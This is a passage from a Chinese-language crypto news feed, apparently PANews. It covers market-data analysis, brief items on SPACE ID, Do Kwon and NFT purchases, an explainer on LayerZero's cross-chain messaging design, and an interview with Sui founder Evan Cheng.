20%，尽管仍低于 3 月初的水平。 Rocketpool 在 Atlas 更新之前表现出亮眼 自 Shapella 更新以来，Rocketpool (RPL) 的表现不仅明显优于 BTC 和 ETH，而且还优于其最接近的竞争对手和流动性质押协议的市场领导者 Lido (LDO)。Rocketpool 目前在以太坊质押行业中规模较小，仅占储户市场份额的 2%，而 Lido 为 31%，Coinbase 为 12%。 然而，自 Shapella 以来，RPL 在潜在的看涨催化剂中上涨了近 40%。Rocketpool 也在本周进行了自己的更新–Atlas，这将使成为协议验证者所需的 ETH 数量从 16 ETH 减少到 8 ETH。通常需要 32 ETH 才能成为以太坊网络上的验证者，因此这次升级应该会让 Rocketpool 以更多验证者和更去中心化的网络的形式相对于其他协议具有竞争优势，并可能使其获得市场份额。 ETH 与 BTC 的相关性跌至 3 个月低点 BTC 与 ETH 的相关性（使用 30 天移动平均数计算）已降至 1 月份以来的最低水平，此前 BTC 在 3 月份出现了两位数的反弹。尽管 ETH 上周获得了一些吸引力，但由于投资者在监管审查日益严格的情况下采取谨慎态度，它在 3 月份的表现一直不佳。在过去一年的大部分时间里徘徊在 90% 左右之后，这两种资产之间的相关性在过去七个月中尤其不稳定。 这一趋势可能表明，投资者越来越多地将 BTC 和 ETH 视为概念上不同的资产，而不是将它们组合在一起。短短 8 个月内两次成功的 ETH 重大升级可能会促成这一转变。 TUSD 在 Binance 上占据 50% 的市场份额 Binance 的 BTC-TUSD 交易对用了不到一个月的时间就成为交易所（乃至全球）最大的比特币市场。3 月 22 日，币安停止了 13 个 BTC 交易对的零费用交易计划。该交易所还重新上市了其 BTC-TUSD 市场，并取消了该货币对的交易费用，使其成为该交易所唯一的免费货币对。上周，该货币对的交易量首次正式超过所有其他 BTC 货币对的 50%，包括 BTC-USDT。 在查看币安上排名前三的 BTC 交易对的交易量时，我们可以看到自币安改变其收费政策以来出现了急剧下降。TUSD 从零增长到每小时 6000 万美元左右，但与重新实施收费前 USDT 每小时近 10 亿美元的平均水平相比，这微不足道。 虽然 TUSD 现在在 Binance 上占据主导地位，但数据表明大多数交易者仍不愿开始交易相对小众的稳定币。最终，自费用变化以来，币安的市场份额仍下降了 10%，看起来一对零费用的小型稳定币不足以挽回损失（目前）。 探索韩国市场上的山寨币交易 上周，我们发现韩国「四大」交易所 90% 以上的交易量是针对山寨币的，这与其他交易所的平均交易量在 40-60% 之间形成鲜明对比。为了更好地了解韩国交易所的市场结构，我们查看了 2023 年累计交易量排名前十的山寨币，将它们与 Coinbase 进行了比较，并包括了每个代币的市值排名。 我们发现 XRP 是迄今为止韩国市场上交易量最大的山寨币，在 2020 年底 Ripple 与美国证券交易委员会（SEC）发生法律纠纷、XRP 从 Coinbase 退市后，币安成为该代币的主要交易市场。韩国市场在最近的 XRP 涨势中发挥了作用，XRP 兑韩元的交易量在 3 月底升至数月高位。 就交易量而言，交易量第二大的山寨币——点对点网络 Nano 的代币 XNO，市值排名第 244 位——在 Bithumb 遭到抛售后，其交易量在 4 月初激增。因此，其价格已远离美元市场，4 月份下跌了 40%，而在 Binance.US 上则上涨了 1.3%。 值得注意的是，按市值计算，韩国交易所交易量最大的山寨币排名在 6 到 374 之间，而 Coinbase 上的顶级山寨币跌破前 100 名。一个有趣的例外是 Fetch.ai 网络 (FET) 的代币，它为智能自主服务提供基础设施。FET-USD 是今年 Coinbase 上交易量排名第 10 的山寨币，尽管它按市值排名第 134 位。这一趋势反映出人们对人工智能相关项目的兴趣日益浓厚。 Curve 在三天内处理了 85,000 stETH 交易量 Curve 促进了中心化或去中心化交易所的绝大部分 stETH 交易量，因为 4 月 11 日至 13 日期间交易了近 85,000 stETH（超过 1.5 亿美元），4 月 12 日是升级日。在此期间，Uniswap V2 和 V3 总共处理了不到 500 stETH 的交易量。此外，在 Curve 上，这几天的买卖量几乎完全平衡；在升级之前的整个一周内，销售量都超过了购买量。周末，买入占主导地位，占该对 15,000 ETH 交易量中的 11,500 ETH。 随着香港重新致力于加密货币，亚太地区的市场份额不断增加。 香港上周举办了 Web3 嘉年华，许多政府官员在会上证实了该地区对加密货币的新开放态度，同时暗示了针对 DeFi 的新规定。香港证监会的一位代表表示，「证监会通过适用于金融活动的相同监管框架来看待 DeFi 活动……只要 DeFi 活动属于证券和期货的范围，它就会受到相同的监管要求。」 尽管有可能出台严格的 DeFi 法规，但香港修订后的法规在社区引起了兴奋。火必和 OKX 这两家交易所已确认，他们将在 6 月申请在中国运营的许可证。这两家交易所的交易活动也有所增加，火必在香港交易时段的 BTC 交易量份额从 1 月份的 16% 跃升至 4 月份的 25%；OKX 的增幅较为温和，从 19% 增至 23%。 诉讼后，币安在美国的交易量有所下降。 在过去一年中，BTC 永续期货在币安的交易量越来越多地转向美国交易时段。然而，在 CFTC 提起诉讼指控该交易所允许美国客户在其国际平台上交易衍生品后的三周内，我们看到了这一趋势的逆转。 自 3 月 27 日以来，UTC 时间下午 1:00 至晚上 8:00（美国东部时间上午 9:00 至下午 4:00）的交易份额从 49.1% 下降至 43.5%。相比之下，亚太地区开盘时间（世界标准时间下午 1 点至晚上 7 点）的交易份额从 17.6% 增加到 24%。尽管在欧盟和亚太地区交易时段重叠期间交易量略有增加，但在欧盟开放时段交易的总体份额有所下降。这种转变在诉讼开始后发生得相对较快，可能表明美国交易活动所有下降，交易向亚太地区迁移。 BTC 衍生品在经历了数月的停滞后获得了关注。 BTC 永续合约与现货成交量之比在 4 月份恢复增长，达到 2021 年 7 月以来的最高水平，表明衍生品资金流入强劲。我们将该比率计算为 BTC 永续期货交易量除以前 15 个 BTC 现货市场的现货交易量。当现货交易量增长快于永续期货交易量时，该比率会下降。 去年 7 月在 Binance 推出零费用 BTC 交易导致全球 BTC 现货交易量飙升，这可以说使该比率成为衡量现货与衍生品需求的不那么可靠的指标。因此，我们计算了包括和不包括 Binance 在内的比率。 有趣的是，这两个比率之间的差距——有和没有 Binance——在 2023 年初显著扩大。虽然有 Binance 的比率处于 2：3 的低水平，但没有 Binance，它在 3 月初升至 10 以上，然后在当月剩余时间急剧下降。这表明衍生品交易量在 2023 年初推动了市场，而 3 月的涨势主要归功于现货市场。 在 Binance 于 3 月 22 日取消其零费用促销后，这两个比率都重新平衡，现在正朝着同一方向发展——4 月初有所增加。这表明衍生品流入加速，也对当前的价格走势做出了贡献。随着 Shapella 升级后现货市场的上涨，这一趋势上周似乎发生了逆转。 比特币与美国股票的相关性存在差异。 BTC 与以科技股为主的纳斯达克 100 指数和更广泛的标准普尔 500 指数之间的相关性差距为 2021 年 5 月以来最大。BTC 自 3 月 10 日以来上涨了 52%，与科技股的相关性仍然更高，科技股也受益于对美联储宽松政策的押注和上涨了 11%。 标准普尔 500 指数落后，受下跌的金融股拖累，金融股占该指数的 10% 左右。它与 BTC 的相关性目前处于两年低点，仅为 15%。 总体而言，今年 BTC 与风险资产的走势不太一致，因为流动性低和卖家疲惫等特定于加密货币的因素也在价格表现中发挥了作用。  ( 6 min )
    SPACE ID成立DAO Treasury，将实施代币回购和销毁机制
    PANews 4月18日消息，据官方博客，去中心化通用域名协议SPACE ID宣布成立DAO Treasury，将实施代币回购和销毁机制。平台收入将包括自TGE日期以来积累的所有注册收益，并按季度移动执行向前。 具体而言，SPACE ID平台产生的总净收入（包括域名注册、续订、礼品卡购买和 SPACE ID 市场费用的收入）的50%将用于购买和销毁ID代币。总净收入的剩余50% 将添加到DAO金库中，该金库将以稳定币的形式持有，并由所有符合条件的ID代币持有者管理。 据悉，SPACE ID DAO是一个社区驱动的平台，治理委托人的申请截止时间为北京时间2023年4月28日22:00。  ( 1 min )
    GPT产业联盟正式成立，移动、联通等单位共同发起
    PANews 4月18日消息，据上证报报道，2023全球元宇宙大会18号在北京举行。大会上，GPT产业联盟正式成立。GPT产业联盟由中国移动通信联合会、中国电信、中国移动、中国联通、中国广电等单位共同发起成立。根据介绍，接下来，GPT产业联盟将努力做到：探索智能涌现产生的机制和工程路径；发现智能时代开启原始创新机会；发明支撑智能商业价值涌现与流转的技术架构，致力于将人工智能力量打造成为造福人类、影响世界、影响未来的强大数字力量。  ( 1 min )
    数据：黄立成地址再次购入6枚NFT，包括2枚BAYC和1枚MAYC
    PANews 4月18日消息，数据显示，此前曾在推特上宣布退出NFT领域的黄立成地址今日在Blur平台购入2枚BAYC（#1510和#3949）、2枚BAKC（#2552和#3182）、1枚MAYC（#9920）以及1枚DeFi Apes（#2712）。 此前消息，黄立成4月15日发推文称“其已退出NFT领域”，此条推文仍未删除，但取消了置顶。  ( 1 min )
    美国法官裁定SEC可向新加坡监管机构索取Do Kwon相关案件文件
    PANews 4月18日消息，据彭博社报道，根据法庭记录，美国地区法官Jed Rakoff在周五的听证会上驳回了Do Kwon和Terraform的请求，Do Kwon及其公司之前要求下令强制枚SEC撤回其向被告和Luna Foundation Guard索取新加坡监管机构持有的文件。目前尚不清楚美国证券交易委员会向新加坡索要哪些记录，但Terraform的总部设在新加坡。 此前消息，美国和韩国目前都在寻求从黑山引渡Do Kwon。韩检方发现Do Kwon涉嫌欺诈新证据，Terra崩盘前其曾向某律所汇款90亿韩元。  ( 1 min )
    跨链新趋势，LayerZero如何成为全链时代“第0层”？
    原文：《从跨链到全链，LayerZero正在成为未来全链生态系统的基础网络结构》 作者：Daniel Li 多链协同发展已经成为区块链未来的必然趋势。它为区块链的发展带来更高的自由度，但同时也带来了严重的问题：基于各自特性所建立的公链彼此间越发孤立，用户的流动性被限制在围墙内。尽管一些头部应用吸引了庞大的用户流量，看似占领了大片市场，但被禁锢在围墙中的市场即便再大，相对于外面的天地也只是一片水洼。未来要真正实现Web3.0，就必需要有可以实现全链互操作的基础网络，而LayerZero就是这样的一个基础协议。近期，LayerZero以30亿美元的估值完成了1.2亿美元的B轮融资，a16zCrypto、红杉资本等知名区块链投资机构参投。资本的青睐也预示着未来全链时代即将到来。 01、从跨链到全链LayerZero代表着跨链新趋势 随着区块链行业的不断发展，越来越多的一层和二层区块链网络涌现出来，这些网络对推动区块链生态系统的快速扩张起到了重要作用。然而，由于不同公链之间的分化和生态系统的不断扩展，用户的流动性受到了限制，信息无法自由流通。这种流动性分散问题日益严重，给区块链应用和发展带来了极大的挑战。因此，在多链共存的时代，解决公链之间的互通和互操作性问题就变得极为重要。 目前跨链信息通信方式主要包涵两类：第一种是有一条形成共识的中间链在不同链之间验证和转发消息，称为中间链(Middle Chain）；第二种是在链上运行一个节点，通过节点来实现消息的传递，称为链上轻节点(On-Chain Light Node)。 第一种模式，中间链掌握着对所有信息的完全签名权，这种设计极容易因为一个单点发生共识性腐败，导致所有链上的流动性被盗。目前中间链绑定了几亿美元，却保护着数百亿美元的安全。并且中间链正日益去中心化，越来越有可能被不法分子利用。第二种模式链上轻节点能够接收并验证对立链上每一组区块链的区块头，使用轻节点传输信息最安全，但也最昂贵。目前在以太坊上运行一个链上轻节点，每条对立链每天都要花费成千上万的美元。这两种模式都有各自的优缺点，中间链价格便宜但安全性低，而链上轻节点虽然安全但价格昂贵。 无论中间链和链上轻节点其本质上都是为满足某些特定公链之间信息交互而创建一种跨链应用，它们可以被看作是在多链生态下跨链技术的尝试或探索。然而，如果我们想要实现在多链生态下，用户仅通过一个应用就能顺畅地与所有公链进行交互，并且无需频繁切换钱包，那么单靠在公链之间建立更多的中间链或链上轻节点是永远无法实现的。因此，跨链需要进入一个新的阶段：用最底层协议构建通用的跨链协议来实现全链交互。LayerZero正是这样的一种全链协议。 LayerZero从一开始就没有将自己简单地定位为普通的资产跨链桥，而是希望自己能够成为比 Layer1公链更加底层的基础设施级协议，进而在未来彻底解决众多公链之间流动性割裂，以及使用应用需要频繁切换钱包等深层次的问题。在LayerZero身上我们看到的不仅仅只是简单的跨链功能，更多的是基于LayerZero 协议所搭建的丰富的跨链生态，目前基于LayerZero构建的较有代表性的全链产品已经有 Stargate以及 Radiant等等，未来随着LayerZero生态的继续发展，预计还将会有更多基于LayerZero协议开发的原生跨链产品诞生。 互操作性仍然是区块链技术面临的最大挑战之一。目前，大多数区块链都是孤立运行的，很难在它们之间传输数据、资产和信息。随着越来越多的区块链出现，它们之间的交流和交易变得越来越重要。这就是 LayerZero的用武之地。LayerZero的底层技术优势和丰富的应用场景，正在为实现安全、无需信任和高效的互操作性铺平道路。 LayerZero通过在链上部署一系列的智能合约（Endpoint）实现去中心化信息跨链服务。Endpoint上运行着超轻节点，“超轻”两个字体现在该节点只提供指定区块的 Block header。 此外，在信息传递过程中，LayerZero 还使用了两个外部服务：预言机（Oracle）和中继器（Relayer） Oracle是一种第三方服务，它提供了一种从一条链读取区块头并将其发送到另一条链的机制。LayerZero团队选择使用Chainlink和Band Protocol 作为他们的官方预言机。但是，从理论上讲，任何 Oracle 服务提供商都可以成为该机制的一部分。而Relayer 是一种链下服务，其工作方式类似于 Oracle，但它的工作是获取指定交易的证明。Relayer和Oracle必须相互独立，以保证消息传递的有效性。 在实际操作过程中，如果你想用LayerZero 从链A向链B发送一条消息。那么首先要通知链 A 上的Oracle和Relayer您要发送消息。然后Oracle将相关的区块头（链A上最新交易的摘要）发送到链B的超轻节点。然后链A上的Relayer会将此交易的证明提交给链B。一旦此证明在链B 上得到验证，消息就可以发送到链B上的预期接收者。这种方法的好处之一是它既安全又经济高效，因为它结合了中间链和链上轻节点方法的优点，同时消除了它们的弱点。 传统的IBC跨链协议实现公链间交互需要在公链上部署其他公链的轻节点，但高昂的gas费用限制了IBC协议在以太坊等EVM兼容链上应用。这大大降低了IBC协议的通用性，目前它只能在较为小众的Cosmos生态中使用。相比之下，Layerzero采用超轻节点技术架构大幅降低了公链整合成本。主流公链，特别是以太坊和其他EVM兼容链，几乎都可以承担部署Layerzero节点的成本。因此，Layerzero具有极强的通用性，在未来可能成为整合各种EVM公链跨链功能的底层协议。 可扩展性一直是基于区块链解决方案所面临的棘手障碍，但LayerZero克服了这一问题。不仅如此，它还为区块链生态系统带来了更广泛的应用场景，例如数据验证、个人奖励结构设置以及数字货币包装等方面。作为根基层，LayerZero能够与Layer 1协议（比如BTC、ADA和ETH）实现跨链互操作。运营者可以借助LayerZero在多个节点（如Bitcoin和Ethereum）之间部署中继网络。相较于修补现有区块链网络的底层协议，LayerZero 是模块化和可扩展的，允许添加新链和功能而无需修改核心协议。这使其成为一种更加灵活和可扩展的解决方案。 相对于其他跨链项目，LayerZero可以实现更高的传输效率，这主要得益于它独特的设计。其中，LayerZero的「超轻节点」采用了类似IBC轻节点的验证模式，在保证安全性的前提下，大大降低了验证的成本。与传统轻节点需要保存对方区块头的笨重解决方案不同，LayerZero的「超轻节点」通过预言机按需获取需要的区块头，并对交易进行验证。这种方式最大限度的减少了与跨链交易的相关成本和处理时间，提高了传输效率。 作为基层协议，LayerZero的安全性是独立于外部协议的。即使外部协议出现安全问题或被攻击，也不会影响LayerZero的安全性，从而确保了整个协议共识的稳定性。此外，LayerZero独特的预言机和中继器设计也最大限度地保障了信息传输的安全性。预言机和中继器之间互相保持独立性，即便在最坏的情况下，二者由同一实体运行并相互勾结，这也只是一个孤立的风险，成功的概率非常小，并且恶意者需要付出的攻击成本会非常高。另外，为了进一步减少风险，LayerZero还允许用户应用程序选择不同的预言机/中继器组合，用户甚至可以自行运行中继器。这些措施都为信息的传输提供了最安全的保障。 LayerZero应用场景 跨链去中心化交易：LayerZero支持专门处理原生资产的跨链 DEX。相较于发行包装代币或通过中间侧链的现有 DEX，LayerZero设计可以构建使用链间消息传递在不同链上实现流动性池交换。用户只需将本机资产存入一个池中并提取另一条链上的本地资产即可。LayerZero 的消息传递功能非常强大，可以实现直接桥接（1:1 定价）、自动做市（ab = k 定价）以及其他任何衍生品（例如类似于 Curve DAO 定价）。此外，LayerZero 提供的有效交付保证使广泛的去中心化交易所应用成为可能。 多链收益聚合器：当前的收益聚合器通常只在单链生态系统内运行，例如Yearn Finance等项目使用单链策略实现相应的收益聚合。然而，这些单链收益聚合系统存在一个主要弱点，即它们无法利用当前生态系统之外的任何收益机会，从而可能错失许多有益的投资机会。通过使用LayerZero进行跨链交易的收益聚合器，用户可以制定更具策略性的投资方案，从而能够利用所有生态系统中的最佳机会，增加获得高收益机会的可能性。相比单链收益聚合器，多链收益聚合器更加优越，因为在最坏的情况下，该策略仅利用一条链上的机会，而在最好的情况下，则会有更多选择的机会。 多链借贷：用户之前没有简单的方法来利用不在其资产持有范围内的区块链机会。例如以太坊上持有全部资产的用户，想要在Polygon上获得收益，只能将所有资产转移到Polygon，并将其转换为所需货币，或者在以太坊借出资产，然后借入想要的资产，再将其桥接到Polygon。但通过LayerZero的多链借贷协议，用户可以用在以太坊上持有资产直接在Polygon上进行MATIC借贷，省去了桥接费用和交换费用等中间成本。这样一来，用户就能更加便捷地利用不同链上的资产，实现最大化的收益。 统一流动性桥 ：目前，为了吸引流动性供应商（LP）之间的竞争，流动性桥将桥与桥、配对池与配对池之间的流动性分割。这使得LP必须选择连接到单链上的单一流动性池，以为资产提供流动性。而通过LayerZero的统一流动性桥，可以在所有链上提供统一的流动性，保护源链的最终性。这意味着，当用户将资产从A链转移到B链时，其在B链上的资产是得到保证的。此外，LP可以从所有进入B链的交易中收取费用，不受源链的限制，从而实现更加便捷和高效的跨链资产流动。 兑换（Swaps）：使用LayerZero，开发者可以构建复杂的跨链应用，无需牺牲无需信任性或引入复杂的中介链或智能合约。自动做市商可以轻松打包，并且执行跨链资产兑换变得更加简单 - 无需进行代码修改。例如，用户可以在单个以太坊交易中直接将ETH换成SOL，无需中间代币或二次交易。实际的交换协议交给跨链交易中任一链的智能合约处理，而LayerZero则负责在两链之间传输信息。这种方法提供了灵活性，并符合端到端原则。 以上几个场景应用仅仅是LayerZero实现众多可能性中的一小部分，未来随着LayerZero的技术不断发展和其生态系统的日益成熟，LayerZero将会给我们带来了更多的惊喜，同时在也为即将到来的全链时代铺平道路。 LayerZero作为一种无需信任的协议，可以在不影响安全性和去中心化的情况下，实现区块链之间的无缝通信。通过LayerZero协议，链间通讯变得更加容易，未来建立在此基础上的项目可以实现全链跨链借贷、跨链质押等功能。目前基于LayerZero所构建的值得关注的全链项目有以下几个： Stargate是由社区驱动构建的第一个完全可组合的原生资产桥梁和第一个基于 Layerzero构建的Dapp，Stargate的愿景是让跨链流动性转移成为一个简单而独特的交易过程，Stargate成功解决Bridging Trilemma（桥接三难困境）。随着LayerZero 获得B轮融资，Stargate的日交互次数激增。目前用户可以在 Ethereum、BNB Chain、Polygon、Arbitrum、Optimism、Fantom、Metis、Avalanche 共 8 条公链上进行 USDC、USDT 、DAI 、STG 、RDNT 、FRAX 等多种资产跨链。 作为 LayerZero的嫡系，Stargate 作用远不止一个跨链桥，从Stargate的文档中也可以看出 Stargate的目标是作为资产跨链的技术提供商，让更多的项目可以轻松使用Stargate，实现跨链的功能。所以Stargate的业务需要分为2B和2C两部分， 2B的业务模式也远比2C的模式有想象空间，基于Stargate可以向上搭建更为复杂的 Dapp。目前Stargate已发行 STG Token，持有者质押STG不仅可以获得协议的收入分红，还会根据质押年限换取相应份额的 veSTG以参与提案、投票等社区治理。 Gh0stly Gh0sts是LayerZero推出的首个全链NFT系列，共有7710个NFT，可在8条支持的区块链上免费铸造。该系列的设计非常巧妙，每个NFT的背景颜色都代表了它的出生地，例如以太坊为灰色、BNB为黄色、Polygon为紫色、Avalanche为红色等。过去，当有热门NFT铸造时，以太坊常常会发生gas飙升的情况，导致高昂的gas费用。因为NFT铸造需要消耗大量的区块链资源，但Gh0stly Gh0sts基于LayerZero底层协议，可以轻松实现多链同时发行，从而避免了gas战。 Radiant是一个致力于成为全链借贷市场的项目，其目标是将Web3.0货币市场中去中心化的跨链流动性统一起来，并与社群用户共享协议费用。相比传统的中心化交易所，Radiant强调跨链流动性的无缝连接，使得用户可以在任何一条链上存入任何主流资产，并在其他多条链上借入各种支持的资产，这也使得它在全链货币市场中具有更高的竞争力。 Radiant的底层技术基于LayerZero的OmniChain技术，目前已经推出了V1版本，仅支持Arbitrum上ETH资产的跨链借贷。但V2版本即将上线，支持更多资产和公链，这将进一步强化Radiant在全链借贷行业的地位。此外，Radiant背靠着LayerZero这样的强大技术团队，也让它拥有了全链先发优势。目前，Radiant在Arbitrum链TVL排名第三，未来的发展潜力不可估量。 随着区块链技术的不断发展，用户和开发者越来越意识到实现不同区块链之间的互操作性的重要性。为了充分利用区块链技术的潜力，不同的区块链必须能够实现安全、高效、无信任交互。LayerZero则作为一种底层技术的创新，正在极大地推动实现这一目标。目前，LayerZero 已经连接了超过30个主网区块链，并被广泛应用于去中心化交易所如 PancakeSwap、SushiSwap、Trader Joe和Uniswap等。LayerZero处理的交易量已经超过60亿美元，并锁定了总价值超过70亿美元的资产。可以预见，在未来的多链共存时代，LayerZero将会成为全链生态系统的基础网络结构，持续为区块链行业的进步和发展做出贡献。  ( 2 min )
    专访公链Sui创始人Evan Cheng：尚无计划融C轮，加密初创公司融资受到AI挤压
    作者：节选自Forkast.news 编译：Felix, PANews 导语：FTX倒闭、加密友好银行破产、AI火爆全球抢走了加密货币初创公司的部分融资额度，诸多事件影响下，Sui创始人Evan Cheng怎么看当下的市场。 根据Sui的开发机构Mysten Labs创始人Evan Cheng的说法，随着FTX崩溃后，区块链和加密货币初创公司难以筹集资金，人工智能现在获得了更大份额的风险投资资金。 尽管困难重重，Cheng认为这种情况为开发人员提供了创建公开透明基础架构的机会。然而，初创公司后期融资变得越来越难，只有优秀的公司才能获得支持。 在接受Forkast采访中，Cheng解释了区块链行业面临的问题、支持Web3开发人员的潜力，以及Play-to-earn游戏的可持续性挑战。 Angie Lau（Forkast主编）：很多人都知道Mysten Labs，拿了非常多的投资，当然也遭遇了FTX暴雷这样的事件，过去几个月的经历是怎样的？ Cheng: FTX的事件是不行的，围绕着这个事件有各种各样的言论，有很多疑问和担忧。但需要澄清的是，我们在财务上没有受到FTX所参与的3亿美元B轮融资的影响，我们所持有的都是现金或者银行的等价物，资金非常安全。我们团队比较资深，我们知道想自己做什么，我们从来没有指望过多依赖我们的投资者合作伙伴来满足上币等关键需求。（PANews注：近期Mysten Labs支付9600万美元回购了FTX持有的股权，该价格还包括“FTX购买Sui代币的所有认股权证”。） Angie Lau（Forkast主编）：现在是2023年，FTX事件依然影响着整个生态系统。但人们对加密行业的兴趣还很大。听到周围很多关于区块链技术如何解决现实世界问题的对话。包括与专家、投资者和政策制定者交谈，讨论可持续增长、信任和透明度等话题。真的感觉重心又回到了很多业内人士所关心的技术问题上。 Cheng：希望一直都在，之前是是基础设施和技术阻碍了发展，比如基础层存在一些问题，在前几轮主要以叙事主导的浪潮中，有些事情做不到或者很难做。但每次浪潮消散时，人们都会环顾四周并问，整个行业取得了什么成就？也许只是一些概念？会发生什么？可以做什么？有什么好处？这些都没有得到验证。还有NFT市场，非常热闹，很多人都进来了，然后却销声匿迹了。多数人只是观察交易或投机活动。构建一款真正实用的产品，并对消费者产生真正的影响非常困难。鉴于此，区块链行业很难维持下去。 Lau：我完全同意你的看法。这种投机性炒作确实使整个行业膨胀，甚至在Terra-Luna崩溃之后，这个行业的数据透明度依然不理想，在没有良好的基础设施服务和索引的情况下，真的很难辨别价值。这就是我们在基础设施方面考虑的问题。很好奇你是怎么想的。 Cheng：我们认为基础设施是“开发人员需要什么？”归根结底，区块链平台是开发者平台。开发人员试图解决的问题是什么，这又回到了Web3背后的精神是什么。人们直观地理解，你把东西包装在代币中，可以很容易地在各方之间转移。Web3对金融产品来说很棒，但Web3的意义远不止于此。 如果你看一下现在的互联网公司，就会发现它们基本上都是建立在用户的工作之上的。比如Instagram、Facebook、Twitter、YouTube等。这些大的互联网公司从中榨取了很多利润。更重要的是，这些公司缺乏透明度，公平。如果你理解了这一点，你就理解了Web3的精神。我们试图提供的是一种允许开发人员挑战现有企业的基础设施。下一个像YouTube和Instagram这样的内容分享网站会是什么样子？如何才能更加公平，特别是对于创作者来说，如何公平的让他们知道自己的作品价值几何？他们能否自由灵活的利用自己的资产？这才是重点。 区块链基本上将成为一个伟大的开放数据库，一个创造资产和控制资产的媒介。智能合约应该提供很多功能。中心化实体应该为资产提供托管并促进交易。有了这些，才有更公平的竞争环境。但现在就去挑战那些互联网大公司非常难。 Lau：现在人们开始从区块链迁移到AI，这是否波及到了投资机构？ Cheng：我们今天在市场上看到的是，在这个领域乃至软件行业的初创公司筹集资金要困难得多。根据我的观察，早期阶段的资金仍然存在，只是估值受到了影响。但是一旦到了A轮和B轮的后期阶段，就很难获得资金了。它必须是一家出色的初创公司才能获得资金，除非你现在正处于生成式AI的泡沫中，否则任何初创公司筹集资金都会困难得多。AI现在获得了更大份额的风险投资资金。 Lau：您是什么时候进入区块链领域？ Cheng：我从事技术工作已有二十多年。我在Apple工作了10年，在那里开发了一些重要的技术，这些技术几乎应用于当今所有的智能设备中。我职业生涯的重点一直是推动技术向前发展。这也是唯一真正驱动我的事情。大约在2016年，我开始关注区块链，我在Apple开发过几次项目，然后是Facebook。到了2018年。那时候我有机会在创业期间做自己的事情。Facebook也有这个雄心，要启动当时所谓的Libra项目。我觉得这对我来说是一个很好的机会，所以在那个项目更多的是学习。我的团队开发了move程序语言以及与之相关的所有东西。这里有一些非常枯燥严谨的技术，比如密码学。涉及大量的系统设计、共识。其中很多东西都是在我领导公司研发部门的那三年半时间里完成的。 在2021年底，当项目进展不顺利，我决定离开。如果你有很棒的想法，你不能等着别人把它变成现实，最好出来自己动手。 Lau：这是一次不可思议的经历。我注意到有很多人来自Libra或Diem，Circle的首席战略官Dante Disparte，你自己，还有很多其他人仍在这个领域。这应该是非常痛苦的经历，以专业人士的身份看着自己正在建设和真正投资的某项技术，因为政策和政治而夭折。您现在如何将所有这些带到Mysten上的？ Cheng：希望和兴奋仍然存在，我们看到了很多开发人员活动。事实上，我们看到了很多更成熟的开发者活动。在进入这个领域并构建产品之前，已经构建了服务于数十万或数百万客户的产品。这是令人兴奋的部分，也符合我们正在努力做的事情。他们将成为更年轻、更小、更灵活、更具实验性的团队，尝试全新的想法，但其中很多都会失败。他们中的一些人会成功，我们的基金会会支持他们。熊市虽然有很多不利因素，但我们也看到了很多很棒的东西。 Lau：你正在构建Layer 1区块链网络Sui。用你的话来说，它将在区块链功能上实现飞跃。Sui与以太坊有何不同？ Cheng：如今的区块链已升级，用于跟踪静态资产的移动。我们用Sui构建的第一个原则是，每个代表资产的对象都可以跟踪状态变化的历史。区块链模型实际上打破了所有权模式。有一个智能合约，卖给我一辆虚拟汽车，但我可以通过另一个符合相同规范的智能合约来提供服务，因为它们提供了更好的服务。这是关于所有权部分。 另一个是当谈到可组合性时，如果你不能控制资产，你真的能把东西组合在一起吗？创建NFT的智能合约仍然对其拥有完全控制权。你如何获取智能合约中的数据？以Bored Ape为例。如果其他人想使用Bored Ape，这可能吗？或者如果你想说来自两个不同公司的两种产品是否可以走到一起并结合起来。即使您愿意，产品构建者也不会允许这样做。当你的实际数据位于私有数据库中，而不是链上时，更新这些资产真的很昂贵。你真的有互操作性吗？你真的有可组合性吗？你真的能有一个程序来取代中心化这个中间人，来自主地执行这个功能吗？ Lau：关于这项技术，我们陷入了困境。我想更多地了解您对Web3游戏的想法。 Cheng：其实我的意思是，有很多种潜在的实用工具或东西可以尝试。让我们专注于游戏。我给你举个例子。假设有一款多人游戏，有很多不同的玩家，他们都拥有相同的魔法剑。某著名游戏主播拥有的魔剑是用来杀死最终Boss的。如果你想将它表示为NFT，那么它的价值就应该比普通玩家的高很多，后者可能只杀死了几个杂兵。魔剑的价值不仅是‘这是一把剑，十级’。更是历史，曾经取得了什么成就。这段历史使它们更有价值。如果你仔细想想，你就会明白为什么很多游戏公司对此感到兴奋。这是真正具有价值并属于消费者的东西。 如果我有一款电子竞技游戏，我想在链上发布所有比赛的结果。区块链能让每一个角色参与的历史变得更加透明，更加值得信赖。这就是区块链的意义所在，不必担心作弊问题。你可以在游戏内部使用货币，也可以在市场上使用货币，你可以做所有这些事情，但这就是令人兴奋的地方。 当你在做一些不同的新事物时，这就是关键所在。如果只是简单地复制以前成功的东西，通常不会有突破。 Lau：您说过P2E是不可持续的，为什么这么认为？ Cheng：Play-to-Earn是一个非常有趣的实验。如何奖励为游戏付出汗水和时间的玩家？Play-to-Earn的一般概念并没有错，但它是不可持续的。玩家想要不断的赚钱，所以铸造了越来越多的代币，直到因为铸造了太多代币而破坏了生态系统。你知道当印太多钱时会发生什么。 我们的工作是分享一些想法和案例，并表明这是你可以做到的。有些东西你可能会感兴趣。我们制作了一款有趣的游戏，向人们展示组合性的真正含义。在我们意识到这一点之前，另一家创业公司说，‘好吧，如果你在世界杯期间使用我们的预测市场，并且你做对了，你就会得到一面代表这个国家的小国旗。他们遵循的是公开规范。这只是一个真实的事情，但它表明这就是可组合性。这在以前是不可能的，而且是完全不允许的。 Lau：测试网Wave 2最近上线了。预计你们将在今年第一季度推出主网。你在按计划进行吗? Cheng：Sui区块链的一个有趣的特点是为最终用户提供这种弹性，这种Gas费的稳定性，即使Token价格不稳定。很多东西都在测试中，无论我们最终是在第一季度末还是第二季度发布。我们只会在非常、非常明确的准备就绪时发布。不只是我们，我们所有的合作伙伴都会觉得准备好了。我们还希望在链上有明显的效用时启动。 Lau: 最后一个问题，你认为2023年区块链行业将会发生什么? Cheng：Sui会改变很多东西。我们辛辛苦苦地做了一些非常不同的事情。我们不想再做其他区块链已经做过或已经设计过的基础的事情。我们想看看我们如何能更进一步，并真正解决开发人员的问题。我们相信我们能做到。这对我们来说是非常令人兴奋的。显然，我们应该为我们的合作伙伴在2023年推出的很多东西感到兴奋。 Lau: 你们会进行C轮融资吗？ Cheng: 我们不需要。我们有很多年的运营的资金。现在还没有计划。到目前为止，我们没有任何需求或考虑进行另一轮融资。  ( 2 min )
    探寻暗网KYC钱包销售真相
